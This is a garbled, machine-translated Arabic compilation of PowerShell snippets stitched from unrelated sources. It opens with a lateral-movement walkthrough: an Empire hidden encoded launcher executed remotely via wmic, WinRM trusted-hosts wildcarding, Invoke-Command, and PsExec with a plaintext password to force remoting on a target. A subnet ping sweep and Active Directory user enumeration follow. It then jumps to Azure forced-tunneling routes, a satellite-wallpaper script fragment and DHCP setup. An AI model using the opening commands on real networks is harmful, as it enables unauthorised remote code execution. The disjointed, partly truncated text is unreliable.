من خلال تحديد / عقدة فإنه من السهل للغاية لإنشاء العمليات عن بعد وتنفيذ الأوامر. في آخر مشاركة أثبتت إطلاق ميتربريتر من أمر إنشاء سك مع وحدة web_delivery ميتاسبلويت ل. للتبديل عنه، دعونا إطلاق عامل إمبراطورية بويرشيل هذه المرة. أولا، إنشاء سلسلة الأوامر لتنفيذ باستخدام "قاذفة" ستاجر في الإمبراطورية:
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAEUAVwAtAE8AQgBKAGUAQw...truncated...
والآن من ويندوز، سنقوم عن بعد بإنشاء عملية على ومي لتنفيذ هذه السلسلة:
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
إذا كان أحد هذه المنافذ مفتوحا، يتم تكوين وينرم ويمكنك محاولة إدخال جلسة عمل عن بعد.
بدء جلسة وينرم.
لدينا أولا لتكوين آلة هجوم لدينا للعمل مع وينرم كذلك. نحن بحاجة إلى تمكينه وإضافة أي "الضحايا" كمضيفين موثوق بهم. من موجه بويرشيل مرتفع، قم بتشغيل الأمرين التاليين
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
يؤدي ذلك إلى إضافة حرف بدل إلى إعداد تروستيدوستس. كن حذرا مما يستتبعه. ملاحظة: كان لي أيضا لتغيير نوع الشبكة على جهاز الهجوم من "العامة" إلى "العمل" الشبكة. YMMV
بمجرد تكوين آلة الهجوم، استخدم الدالة تيست-وسمان لاختبار ما إذا تم تكوين الهدف ل وينرم. يجب أن ترى بعض المعلومات التي تم إرجاعها حول إصدار البروتوكول و وسميد:
الآن يمكننا استخدام بويرشيل استدعاء الأوامر لتنفيذ أمر عن بعد على الهدف عبر وينرم. لتشغيل إيبكونفيغ عن بعد ومعرفة الإخراج
Invoke-Command -Computer ordws01 -ScriptBlock {ipconfig /all} -credential CSCOU\jarrieta
أو، إذا كنت تريد إسقاط الحق في جلسة بويرشيل تفاعلية، استخدم
Enter-PSSession
جبار وينرم مفتوح. إذا كنت تريد حقا استخدام بس ريموتينغ و وينرم ولكن لم يتم تكوين الهدف لذلك، هل يمكن "فرض" على من خلال أمر واحد. أنا لا أنصح هذا ولكن إذا كنت تريد حقا لاستخدام وينرم أو بسريموتينغ من كل الوسائل تفعل ذلك بهذه الطريقة. على سبيل المثال، باستخدام بسيكسيك
\tools\SysinternalsSuite> .\PsExec.exe \\ordws04 -u cscou\jarrieta -p nastyCutt3r -h -d powershell.exe "enable-psre
moting -force"
_____________________________________
يمكنك استبدال متغير ستربكومب $ مع أي اسم المضيف الذي يمكن الوصول إليه من قبل الجهاز بتشغيل بويرشيل، مما يجعل من السهل للحصول على قائمة من عناوين ماك من جميع أنحاء الشبكة.
يمكنك أيضا معرفة عناوين إب النشطة على شبكتك، وذلك باستخدام كمدليت بينغ بسيط يدور عبر جميع عناوين إب الممكنة على الشبكة الفرعية المحلية. سيؤدي هذا إلى عرض جدول مع عناوين إب ورموز الحالة، 0 يشير إلى أن العنوان قيد الاستخدام.
1..254| ForEach -Process {WmiObject -Class Win32_PingStatus -Filter ("Address='192.168.16." + $_ + "'") -ComputerName .} | Select-Object -Property Address, StatusCode | ft
__________________________________
إدارة الشبكة الخاصة بك مع بويرشيل
بويرشيل هو بارز أكثر مرونة في إدارة اتصالات الشبكة من الأدوات المقدمة لسطر الأوامر ويندوز. على سبيل المثال، يمكنك بسهولة استرداد عنوان ماك من جميع محولات الشبكة على الجهاز الحالي الخاص بك مع البرنامج النصي التالي
$strComputer = "."
$colItems = get-wmiobject -class "Win32_NetworkAdapterConfiguration" `
-computername $strComputer | Where{$_.IpEnabled -Match "True"}
foreach ($objItem in $colItems) {
write-host "Hardware Address:" $objItem.MACAddress
}
_______________________________________________________
السيطرة على أكتيف ديركتوري في بويرشيل
بويرشيل يمكن أن تتفاعل مباشرة مع
أكتيف ديركتوري، والقراءة في قاعدة البيانات الخاصة به، واستخراج المعلومات وعرضها لك. على سبيل المثال، مع كمدليت التالية، يمكنك عرض كافة المستخدمين في "أكتيف ديركتوري":
$Dom = 'LDAP://DC=scribnertechmediacorp;DC=local'
$Root = New-Object DirectoryServices.DirectoryEntry $Dom
$i=0
# Create a selector and start searching from the Root of AD
$selector = New-Object DirectoryServices.DirectorySearcher
$selector.SearchRoot = $root
$selector.set_pagesize(1000)
$adobj= $selector.findall() |`
where {$_.properties.objectcategory -match "CN=Person"}
foreach ($person in $adobj){
$prop=$person.properties
$i++
Write-host "First name: $($prop.givenname) " `
"Last Name: $($prop.sn) Display Name: $($prop.cn)"
}
"Total AD Users Found: $i"
في هذا المثال، شبكة مولتيتير-فنيت الظاهرية لديها ثلاث شبكات فرعية: الشبكات الفرعية الأمامية و المتوسطة و الخلفية التي تحتوي على أربع اتصالات عبر وحدة: ديفولتسيتهق وثلاثة فروع .
تحدد هذه الخطوات "ديفولتسيتهق" إلى اتصال الويب الافتراضي الذي يجبر معالجة القناة وتعيين الشبكات الفرعية "الوسطى" و "الخلفية" لاستخدام إجبار معالجة القناة.
إنشاء جدول توجيه. استخدم كمدليتس التالية لإنشاء جدول التوجيه.
New-AzureRouteTable –Name "MyRouteTable" –Label "Routing Table for Forced Tunneling" –Location "North Europe"
______________________________________________________
إضافة مسار مسبق إلى جدول التوجيه.
يضيف المثال التالي مسار مسبق الضبط إلى جدول التوجيه المحدد في الخطوة 1. لاحظ أن المسار الوحيد المدعم هو ديباجة وجهة "0.0.0.0/0" من "فنغاتيواي" نيكستوب.
Get-AzureRouteTable -Name "MyRouteTable" | Set-AzureRoute –RouteTable "MyRouteTable" –RouteName "DefaultRoute" –AddressPrefix "0.0.0.0/0" –NextHopType VPNGateway
__________________________________________________________
ربط جداول التوجيه للشبكات الفرعية.
بعد إنشاء جدول التوجيه والانضمام إلى المسار، استخدم المثال التالي للانضمام أو ربط جدول التوجيه إلى الشبكة الفرعية فنيت. يضيف هذا المثال جدول التوجيه "ميروتيتابل" إلى الشبكات الفرعية المتوسطة والخلفية في فنيت متعدد المستويات فنيت.
Set-AzureSubnetRouteTable -VirtualNetworkName "MultiTier-VNet" -SubnetName "Midtier" -RouteTableName "MyRouteTable"
Set-AzureSubnetRouteTable -VirtualNetworkName "MultiTier-VNet" -SubnetName "Backend" -RouteTableName "MyRouteTable"
______________________________________________________________
تعيين محطات محددة مسبقا للقنوات الإلزامية.
في الخطوات السابقة، إنشاء البرنامج النصي كمدليت جدول التوجيه وربط جدول التوجيه إلى كل من شبكات فرعية فنيت. والخطوات المتبقية هي اختيار موقع الويب المحلي بين اتصالات الشبكة المتعددة المواقع الافتراضية كموقع ويب افتراضي أو قناة
$DefaultSite = @("DefaultSiteHQ")
Set-AzureVNetGatewayDefaultSite –VNetName "MultiTier-VNet" –DefaultSite "DefaultSiteHQ"
________________________________________________________________
احذف جدول التوجيه
Remove-AzureRouteTable -Name <routeTableName>
_____________________________________________________________
أدرج جدول التوجيه
Get-AzureRouteTable [-Name <routeTableName> [-DetailLevel <detailLevel>]]
____________________________________________________________
أزل المسارات من جدول التوجيه
Remove-AzureRouteTable –Name <routeTableName>
_________________________________________________________
قم بإزالة المسار من الشبكة الفرعية
Remove-AzureSubnetRouteTable –VirtualNetworkName <virtualNetworkName> -SubnetName <subnetName>
____________________________________________________________
يسرد جداول التوجيه المرتبطة بالشبكات الفرعية
Get-AzureSubnetRouteTable -VirtualNetworkName <virtualNetworkName> -SubnetName <subnetName>
____________________________________________________________
قم بإزالة موقع ويب الافتراضي من بوابة فنيت في
Remove-AzureVnetGatewayDefaultSite -VNetName <virtualNetworkName>
_______________________________________________________________
POWERSELL
يمكنك تحميل لدينا النصي تصحيحها على جيثب جيتست.
يتم التقاط الصورة من القمر الصناعي الطقس الياباني هيماواري 8، والتي يتم تحديثها مرة واحدة في 10 دقيقة. البرنامج النصي بتحميله في أجزاء لأنه على الخادم ينقسم لقطة إلى مصفوفة من 4 بنسبة 4. ثم يندمج في واحد ويحددها كخلفية سطح المكتب.
لتشغيل البرنامج النصي، انقر بزر الماوس الأيمن فوق الملف، ثم تشغيل مع بويرشيل. إذا كنت ترغب في تحديث الصورة بشكل دائم، وضع البرنامج النصي في جدولة المهام ويندوز، تعيين التنفيذ مرة واحدة كل 10 دقيقة.
المشاكل والحلول الممكنة
إذا كنت تجلس خلف وكيل الشركة، ثم بعد السطر
$request = [System.Net.WebRequest]::create($thisurl)
$request.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
________________________________________________________________
ANSTALE DAKP
New-NetIPAddress -IPAddress 10.0.0.3 -InterfaceAlias "Ethernet" -DefaultGateway 10.0.0.1 -AddressFamily IPv4 -PrefixLength 24
Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses 10.0.0.2
Rename-Computer -Name DHCP1
Restart-Computer
Add-Computer CORP
Restart-Computer
Install-WindowsFeature DHCP -IncludeManagementTools
netsh dhcp add securitygroups
Restart-service dhcpserver
Add-DhcpServerInDC -DnsName DHCP1.corp.contoso.com -IPAddress 10.0.0.3
Get-DhcpServerInDC
Set-ItemProperty –Path registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\Roles\12 –Name ConfigurationState –Value 2
Set-DhcpServerv4DnsSetting -ComputerName "DHCP1.corp.contoso.com" -DynamicUpdates "Always" -DeleteDnsRRonLeaseExpiry $True
$Credential = Get-Credential
Set-DhcpServerDnsCredential -Credential $Credential -ComputerName "DHCP1.corp.contoso.com"
rem At prompt, supply credential in form DOMAIN\user, password
rem Configure scope Corpnet
Add-DhcpServerv4Scope -name "Corpnet" -StartRange 10.0.0.1 -EndRange 10.0.0.254 -SubnetMask 255.255.255.0 -State Active
Add-DhcpServerv4ExclusionRange -ScopeID 10.0.0.0 -StartRange 10.0.0.1 -EndRange 10.0.0.15
Set-DhcpServerv4OptionValue -OptionID 3 -Value 10.0.0.1 -ScopeID 10.0.0.0 -ComputerName DHCP1.corp.contoso.com
Set-DhcpServerv4OptionValue -DnsDomain corp.contoso.com -DnsServer 10.0.0.2
rem Configure scope Corpnet2
Add-DhcpServerv4Scope -name "Corpnet2" -StartRange 10.0.1.1 -EndRange 10.0.1.254 -SubnetMask 255.255.255.0 -State Active
Add-DhcpServerv4ExclusionRange -ScopeID 10.0.1.0 -StartRange 10.0.1.1 -EndRange 10.0.1.15
Set-DhcpServerv4OptionValue -OptionID 3 -Value 10.0.1.1 -ScopeID 10.0.1.0 -ComputerName DHCP1.corp.contoso.com